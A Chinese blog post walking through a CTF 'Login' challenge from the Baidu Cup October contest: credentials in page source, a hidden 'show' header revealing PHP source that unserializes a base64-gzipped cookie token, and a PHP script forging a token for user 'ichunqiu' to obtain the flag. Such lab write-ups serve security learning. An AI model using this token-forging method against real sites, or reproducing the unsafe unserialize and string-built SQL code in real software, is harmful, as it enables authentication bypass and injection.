欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Login ------------------ “百度杯”CTF比赛 十月场

程序员文章站 2022-04-08 17:57:29
...

登录界面

Login ------------------ “百度杯”CTF比赛 十月场

右键查看源码

Login ------------------ “百度杯”CTF比赛 十月场

没有什么信息(才怪嘞(╯‵□′)╯︵┻━┻),往下划拉,最底下有惊喜

Login ------------------ “百度杯”CTF比赛 十月场

应该就是账号密码了,用它们登录后只有一个表情Login ------------------ “百度杯”CTF比赛 十月场,好像也没啥信息

查看源码也木有发现

用Burp抓包看看,响应包里面有个show参数很可疑啊

Login ------------------ “百度杯”CTF比赛 十月场

在请求包里改成 show: 1 添加试试

Login ------------------ “百度杯”CTF比赛 十月场

返回了源码

<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
  public $where;
  function __wakeup()
  {
    if(!empty($this->where))
    {
      $this->select($this->where);
    }
  }
  function select($where)
  {
    $sql = mysql_query('select * from user where '.$where);
    return @mysql_fetch_array($sql);
  }
}
if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
  if($login['user'] === 'ichunqiu')
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}
?>

审计代码,发现登录账号 user 必须是 ichunqiu 才会显示flag

 if($login['user'] === 'ichunqiu')
  {
    echo $flag;

并且user被处理过

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

相关函数:

unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值

gzuncompress:解压被压缩的字符串

base64_decode:base64解码

分析可知,login是通过token接收user,并进行base64解码,再解压缩,反序列化

那么我们只要对其进行一系列逆操作就行,先处理 ichunqiu 字符串

<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
 
?>

将以上代码保存为ichunqiu.php文件,在本地打开(这使用的wamp,放在www目录下),浏览器里面输入127.0.0.1/ichunqiu.php 即可

Login ------------------ “百度杯”CTF比赛 十月场

复制返回的字符串,在请求包中创建一个cookie token:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

Login ------------------ “百度杯”CTF比赛 十月场

Go 获得flag

Login ------------------ “百度杯”CTF比赛 十月场